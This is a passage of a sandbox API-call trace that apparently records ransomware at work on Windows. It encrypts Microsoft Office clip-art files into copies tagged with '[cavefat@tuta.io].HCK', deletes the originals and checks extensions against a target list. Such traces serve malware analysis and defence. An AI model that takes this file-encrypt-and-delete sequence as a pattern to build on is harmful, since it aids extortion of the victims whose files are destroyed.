lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x27b0, lpOverlapped=0x0) returned 1 [0178.305] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.306] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.306] SetEndOfFile (hFile=0x2fc) returned 1 [0178.307] CloseHandle (hObject=0x2fc) returned 1 [0178.309] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.309] SetEndOfFile (hFile=0x370) returned 1 [0178.312] CloseHandle (hObject=0x370) returned 1 [0178.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00458_.wmf")) returned 1 [0178.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0178.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0178.315] lstrlenW (lpString=".doc") returned 4 [0178.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.315] lstrlenW (lpString=".docx") returned 5 [0178.315] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.315] lstrlenW (lpString=".pdf") returned 4 [0178.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.315] lstrlenW (lpString=".xls") returned 4 [0178.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.315] lstrlenW (lpString=".xlsx") returned 5 [0178.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.315] lstrlenW (lpString=".ppt") returned 4 [0178.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0178.315] lstrlenW (lpString=".zip") returned 4 [0178.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.315] lstrlenW (lpString=".rar") returned 4 [0178.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.315] lstrlenW (lpString=".bz2") returned 4 [0178.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.315] lstrlenW (lpString=".7z") returned 3 [0178.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0178.315] lstrlenW (lpString=".dbf") returned 4 [0178.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0178.315] lstrlenW (lpString=".1cd") returned 4 [0178.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0178.315] lstrlenW (lpString=".jpg") returned 4 [0178.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0178.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0178.315] lstrlenW (lpString=".doc") returned 4 [0178.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.315] lstrlenW (lpString=".docx") returned 5 [0178.315] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.315] lstrlenW (lpString=".pdf") returned 4 [0178.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.316] lstrlenW (lpString=".xls") returned 4 [0178.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.316] lstrlenW (lpString=".xlsx") returned 5 [0178.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.316] lstrlenW (lpString=".ppt") returned 4 [0178.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0178.316] lstrlenW (lpString=".zip") returned 4 [0178.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.316] lstrlenW (lpString=".rar") returned 4 [0178.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.316] lstrlenW (lpString=".bz2") returned 4 [0178.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.316] lstrlenW (lpString=".7z") returned 3 [0178.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0178.316] lstrlenW (lpString=".dbf") returned 4 [0178.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0178.316] lstrlenW (lpString=".1cd") returned 4 [0178.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0178.316] lstrlenW (lpString=".jpg") returned 4 [0178.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.316] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.316] lstrlenW (lpString="NA00512_.WMF") returned 12 [0178.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00512_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.318] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2912) returned 1 [0178.318] CloseHandle (hObject=0x3a4) returned 1 [0178.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00512_.wmf")) returned 0x220 [0178.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00512_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00512_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.321] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.321] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00512_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.327] GetLastError () returned 0x0 [0178.327] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xb60, lpOverlapped=0x0) returned 1 [0178.328] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xb70, lpOverlapped=0x0) returned 1 [0178.328] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.328] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.329] SetEndOfFile (hFile=0x300) returned 1 [0178.330] CloseHandle (hObject=0x300) returned 1 [0178.330] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.330] SetEndOfFile (hFile=0x2fc) returned 1 [0178.334] CloseHandle (hObject=0x2fc) returned 1 [0178.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00512_.wmf")) returned 1 [0178.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF") returned 68 [0178.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF") returned 68 [0178.338] lstrlenW (lpString=".doc") returned 4 [0178.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.338] lstrlenW (lpString=".docx") returned 5 [0178.338] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.338] lstrlenW (lpString=".pdf") returned 4 [0178.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.338] lstrlenW (lpString=".xls") returned 4 [0178.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.338] lstrlenW (lpString=".xlsx") returned 5 [0178.338] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.338] lstrlenW (lpString=".ppt") returned 4 [0178.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF") returned 68 [0178.338] lstrlenW (lpString=".zip") returned 4 [0178.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.338] lstrlenW (lpString=".rar") returned 4 [0178.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.338] lstrlenW (lpString=".bz2") returned 4 [0178.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.338] lstrlenW (lpString=".7z") returned 3 [0178.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF") returned 68 [0178.338] lstrlenW (lpString=".dbf") returned 4 [0178.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF") returned 68 [0178.338] lstrlenW (lpString=".1cd") returned 4 [0178.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF") returned 68 [0178.338] lstrlenW (lpString=".jpg") returned 4 [0178.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF") returned 68 [0178.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF") returned 68 [0178.338] lstrlenW (lpString=".doc") returned 4 [0178.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.338] lstrlenW (lpString=".docx") returned 5 [0178.338] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.339] lstrlenW (lpString=".pdf") returned 4 [0178.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.339] lstrlenW (lpString=".xls") returned 4 [0178.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.339] lstrlenW (lpString=".xlsx") returned 5 [0178.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.339] lstrlenW (lpString=".ppt") returned 4 [0178.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF") returned 68 [0178.339] lstrlenW (lpString=".zip") returned 4 [0178.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.339] lstrlenW (lpString=".rar") returned 4 [0178.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.339] lstrlenW (lpString=".bz2") returned 4 [0178.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.339] lstrlenW (lpString=".7z") returned 3 [0178.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF") returned 68 [0178.339] lstrlenW (lpString=".dbf") returned 4 [0178.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF") returned 68 [0178.339] lstrlenW (lpString=".1cd") returned 4 [0178.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF") returned 68 [0178.339] lstrlenW (lpString=".jpg") returned 4 [0178.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.339] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.339] lstrlenW (lpString="NA00532_.WMF") returned 12 [0178.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00532_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.341] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1328) returned 1 [0178.341] CloseHandle (hObject=0x3a4) returned 1 [0178.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00532_.wmf")) returned 0x220 [0178.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00532_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00532_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.349] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.349] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00532_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.353] GetLastError () returned 0x0 [0178.353] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x530, lpOverlapped=0x0) returned 1 [0178.354] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x540, lpOverlapped=0x0) returned 1 [0178.355] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.355] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.355] SetEndOfFile (hFile=0x300) returned 1 [0178.363] CloseHandle (hObject=0x300) returned 1 [0178.365] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.366] SetEndOfFile (hFile=0x370) returned 1 [0178.369] CloseHandle (hObject=0x370) returned 1 [0178.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00532_.wmf")) returned 1 [0178.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF") returned 68 [0178.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF") returned 68 [0178.371] lstrlenW (lpString=".doc") returned 4 [0178.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.371] lstrlenW (lpString=".docx") returned 5 [0178.371] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.371] lstrlenW (lpString=".pdf") returned 4 [0178.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.371] lstrlenW (lpString=".xls") returned 4 [0178.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.371] lstrlenW (lpString=".xlsx") returned 5 [0178.371] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.371] lstrlenW (lpString=".ppt") returned 4 [0178.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF") returned 68 [0178.371] lstrlenW (lpString=".zip") returned 4 [0178.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.371] lstrlenW (lpString=".rar") returned 4 [0178.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.371] lstrlenW (lpString=".bz2") returned 4 [0178.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.371] lstrlenW (lpString=".7z") returned 3 [0178.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF") returned 68 [0178.372] lstrlenW (lpString=".dbf") returned 4 [0178.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF") returned 68 [0178.372] lstrlenW (lpString=".1cd") returned 4 [0178.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF") returned 68 [0178.372] lstrlenW (lpString=".jpg") returned 4 [0178.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF") returned 68 [0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF") returned 68 [0178.372] lstrlenW (lpString=".doc") returned 4 [0178.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.372] lstrlenW (lpString=".docx") returned 5 [0178.372] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.372] lstrlenW (lpString=".pdf") returned 4 [0178.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.372] lstrlenW (lpString=".xls") returned 4 [0178.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.372] lstrlenW (lpString=".xlsx") returned 5 [0178.372] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.372] lstrlenW (lpString=".ppt") returned 4 [0178.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF") returned 68 [0178.372] lstrlenW (lpString=".zip") returned 4 [0178.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.372] lstrlenW (lpString=".rar") returned 4 [0178.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.372] lstrlenW (lpString=".bz2") returned 4 [0178.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.372] lstrlenW (lpString=".7z") returned 3 [0178.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF") returned 68 [0178.372] lstrlenW (lpString=".dbf") returned 4 [0178.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF") returned 68 [0178.372] lstrlenW (lpString=".1cd") returned 4 [0178.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF") returned 68 [0178.372] lstrlenW (lpString=".jpg") returned 4 [0178.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.373] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.373] lstrlenW (lpString="NA00798_.WMF") returned 12 [0178.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00798_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.377] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=9208) returned 1 [0178.377] CloseHandle (hObject=0x2fc) returned 1 [0178.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00798_.wmf")) returned 0x220 [0178.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00798_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00798_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.381] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.381] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00798_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.386] GetLastError () returned 0x0 [0178.386] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x23f8, lpOverlapped=0x0) returned 1 [0178.390] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2400, lpOverlapped=0x0) returned 1 [0178.391] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, 